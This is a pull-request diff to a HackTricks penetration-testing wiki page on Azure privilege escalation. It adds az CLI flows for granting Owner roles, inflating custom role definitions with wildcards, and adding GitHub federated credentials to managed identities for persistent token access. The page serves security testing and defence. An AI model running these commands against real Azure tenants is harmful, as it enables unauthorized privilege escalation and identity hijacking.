Merge pull request #279 from HackTricks-wiki/update_IAM_the_Captain_Now___Hijacking_Azure_Identity_Acc_20260409_132358

IAM the Captain Now – Hijacking Azure Identity Access

Author: carlospolop

src/pentesting-cloud/azure-security/az-privilege-escalation/az-authorization-privesc.md

@@ -10,18 +10,49 @@ Fore more information check:
 ../az-services/az-azuread.md
 {{#endref}}
 
+Permissions that let a principal **change authorization itself** are usually **privesc primitives**. This is specially dangerous when they are granted on **management group** or **subscription** scopes, because the permissions are inherited by child resources.
+
 ### Microsoft.Authorization/roleAssignments/write
 
-This permission allows to assign roles to principals over a specific scope, allowing an attacker to escalate privileges by assigning himself a more privileged role:
+This permission allows to create role assignments over a specific scope, allowing an attacker to escalate privileges by assigning himself or another controlled principal a more privileged role.
+
+Typical flow:
+
+```bash
+# Login and confirm current context
+az login
+az account show
+
+# Enumerate current assignments and find the custom role granting this action
+az role assignment list --all --output table
+az role definition list --name "<role-definition-name>"
+```
+
+If the compromised principal has this action over a scope, it can directly grant a privileged role such as `Owner`, `Contributor`, `Key Vault Secrets Officer`, or any other built-in/custom role available in that scope:
 
 ```bash
 # Example
 az role assignment create --role Owner --assignee "24efe8cf-c59e-45c2-a5c7-c7e552a07170" --scope "/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.KeyVault/vaults/testing-1231234"
 ```
 
-### Microsoft.Authorization/roleDefinitions/Write
+Knowing the **principal object ID** of the target user/service principal/managed identity is enough to grant the new role. This can be abused for **self-privesc**, **lateral movement**, or **persistence** by assigning the role to a different controlled principal.
+
+### Microsoft.Authorization/roleDefinitions/write
 
-This permission allows to modify the permissions granted by a role, allowing an attacker to escalate privileges by granting more permissions to a role he has assigned.
+This permission allows to create or modify custom role definitions. In practice, this is dangerous because an attacker can:
+
+- Modify a custom role that is **already assigned** to the compromised principal, making the new permissions effective immediately.
+- Create a new over-privileged custom role and then assign it, usually chaining with `Microsoft.Authorization/roleAssignments/write`.
+
+Typical flow:
+
+```bash
+# Find the current assignments
+az role assignment list --all --output table
+
+# Review the role definition currently assigned to the compromised principal
+az role definition list --name "<role-definition-name>"
+```
 
 Create the file `role.json` with the following **content**:
 
@@ -36,7 +67,7 @@ Create the file `role.json` with the following **content**:
   "DataActions": ["*"],
   "NotDataActions": [],
   "AssignableScopes": ["/subscriptions/<subscription-id>"],
-  "id": "/subscriptions/<subscription-id>/providers/Microsoft.Authorization/roleDefinitions/<role-id>",
+  "id": "/subscriptions/<subscription-id>/providers/Microsoft.Authorization/roleDefinitions/<role-id>"
 }
 ```
 
@@ -46,6 +77,9 @@ Then update the role permissions with the previous definition calling:
 az role definition update --role-definition role.json
 ```
 
+If the modified role is **already assigned** to the attacker, this can be a faster path than creating a new role assignment because the permission inflation applies to the existing assignment.\
+If the attacker only has `roleDefinitions/write`, he can still weaponize it by modifying roles already assigned to compromised principals.
+
 ### Microsoft.Authorization/elevateAccess/action
 
 This permissions allows to elevate privileges and be able to assign permissions to any principal to Azure resources. It's meant to be given to Entra ID Global Administrators so they can also manage permissions over Azure resources.
@@ -63,9 +97,31 @@ az role assignment create --assignee "<obeject-id>" --role "Owner" --scope "/"
 
 ### Microsoft.ManagedIdentity/userAssignedIdentities/federatedIdentityCredentials/write
 
-This permission allows to add Federated credentials to managed identities. E.g. give access to Github Actions in a repo to a managed identity. Then, it allows to **access any user defined managed identity**.
+This permission allows to create/update **Federated Identity Credentials (FICs)** on **user-assigned managed identities**. In practice, this lets an attacker add a new trust relationship to an external identity provider and then obtain tokens as that managed identity.
 
-Example command to give access to a repo in Github to the a managed identity:
+This is a **persistence / identity hijacking primitive**: if the managed identity already has access to Azure resources, the attacker only needs to create a matching external workload (for example, a GitHub Actions workflow) and exchange the external token for Azure tokens.
+
+Useful points to verify before abusing it:
+
+- Which **managed identity** can be modified
+- Which **scope/roles** are already assigned to that managed identity
+- Which **issuer**, **subject**, and **audience** will be accepted during token exchange
+
+You can create the FIC with the dedicated CLI command:
+
+```bash
+az identity federated-credential create \
+  --name "github-federated-identity" \
+  --identity-name testMI \
+  --resource-group bialystok-rg \
+  --issuer "https://token.actions.githubusercontent.com" \
+  --subject "repo:REPO/IAMTEST:ref:refs/heads/main" \
+  --audiences "api://AzureADTokenExchange"
+```
+
+Or with raw REST.
+
+Example command to give access to a GitHub repo to a managed identity:
 
 ```bash
 # Generic example:
@@ -81,6 +137,12 @@ az rest --method PUT \
   --body '{"properties":{"issuer":"https://token.actions.githubusercontent.com","subject":"repo:carlospolop/azure_func4:ref:refs/heads/main","audiences":["api://AzureADTokenExchange"]}}'
 ```
 
+Once the FIC is created, the attacker can authenticate from the external workload and use the managed identity permissions already granted in Azure. For more information about abusing GitHub OIDC / workload identity, check:
+
+{{#ref}}
+../az-basic-information/az-federation-abuse.md
+{{#endref}}
+
 ### Microsoft.Authorization/policyAssignments/write | Microsoft.Authorization/policyAssignments/delete
 
 An attacker with the permission `Microsoft.Authorization/policyAssignments/write` or `Microsoft.Authorization/policyAssignments/delete` over a management group, subscription, or resource group can **modify or delete Azure policy assignments**, potentially **disabling security restrictions** that block specific operations.
@@ -191,6 +253,11 @@ az account management-group subscription show \
     --subscription "<subscriptionId>"
 ```
 
-{{#include ../../../banners/hacktricks-training.md}}
+## References
 
+- [IAM the Captain Now – Hijacking Azure Identity Access](https://trustedsec.com/blog/iam-the-captain-now-hijacking-azure-identity-access)
+- [Assign Azure roles using the REST API - Azure RBAC](https://learn.microsoft.com/en-us/azure/role-based-access-control/role-assignments-rest)
+- [Azure custom roles](https://learn.microsoft.com/en-us/azure/role-based-access-control/custom-roles)
+- [Create trust between user-assigned managed identity and external identity provider](https://learn.microsoft.com/en-us/entra/workload-id/workload-identity-federation-create-trust-user-assigned-managed-identity)
 
+{{#include ../../../banners/hacktricks-training.md}}